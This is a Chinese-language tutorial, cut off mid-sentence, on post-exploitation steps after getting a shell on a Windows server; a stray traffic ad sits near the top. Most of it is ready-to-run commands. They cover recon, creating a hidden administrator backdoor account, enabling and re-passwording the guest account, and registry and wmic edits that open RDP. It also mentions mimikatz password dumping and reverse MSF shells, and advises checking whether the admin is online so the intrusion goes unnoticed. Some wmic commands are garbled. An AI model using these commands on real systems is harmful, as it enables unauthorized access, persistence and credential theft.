获取Shell后的操作

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

对于Windows系统主机和Linux系统主机，获取Shell后的操作都不同。

Windows

当我们通过对Web服务器进行渗透，拿到了该Web服务器的shell后，可以执行系统命令后，我们该如何操作呢？

第一步，先 whoami 查看用户身份，如果是系统用户那就再好不过了，如果是普通用户的话，就得想办法提权了。提权之后，利用mimikatz获取用户密码。如果是域环境的话，还可以获取登录过该主机的域用户密码。传送门——> 使用 mimikatz 破解windows登录密码

或者我们可以反弹一个MSF类型的shell到kali中，传送门——> 反弹MSF类型的Shell ， MSF之后渗透阶段

以下命令是在Windows主机渗透测试过程中可以用到的

#信息探测 ipconfig #查看ip等信息 systeminfo #查看系统信息 netstat -ano #查看端口开放信息 tasklist /svc #查看进程信息 net user #查看主机用户 net localgroup #查看主机组 net share #查看开放的共享 net view #查看内网主机信息#添加用户后门 net user hack 123 /add #添加用户并设置密码 net localgroup administrators hack /add #将用户加入管理组 net user guest /active:yes #激活guest用户 net user guest mstlab #更改guest用户的密码

更多Windows CMD窗口的命令，传送门——> Windows常见的cmd命令

如果对方主机没开3389端口怎么办？以下命令可以开启远程桌面服务，前提是管理员权限。

1.通用开3389(优化后)： wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 2.For Win2003: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 3.For Win2008: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 4.For Every: win08，三条命令即可，win2012通用；win7前两条即可。权限需要administrator。 wmic /namespace:\root\cimv2erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

创建了后门用户，开启了远程桌面，我们就可以远程连接了。但是这里要注意，远程连接前判断该用户是否在线，万一对方管理员在线，你把人家给挤下去了，这样一下子就暴露了。开启远程桌面前慎重，慎重再慎重。

远程桌面登录后，我们查看桌面上有哪些软件，我们要找的目标有以下。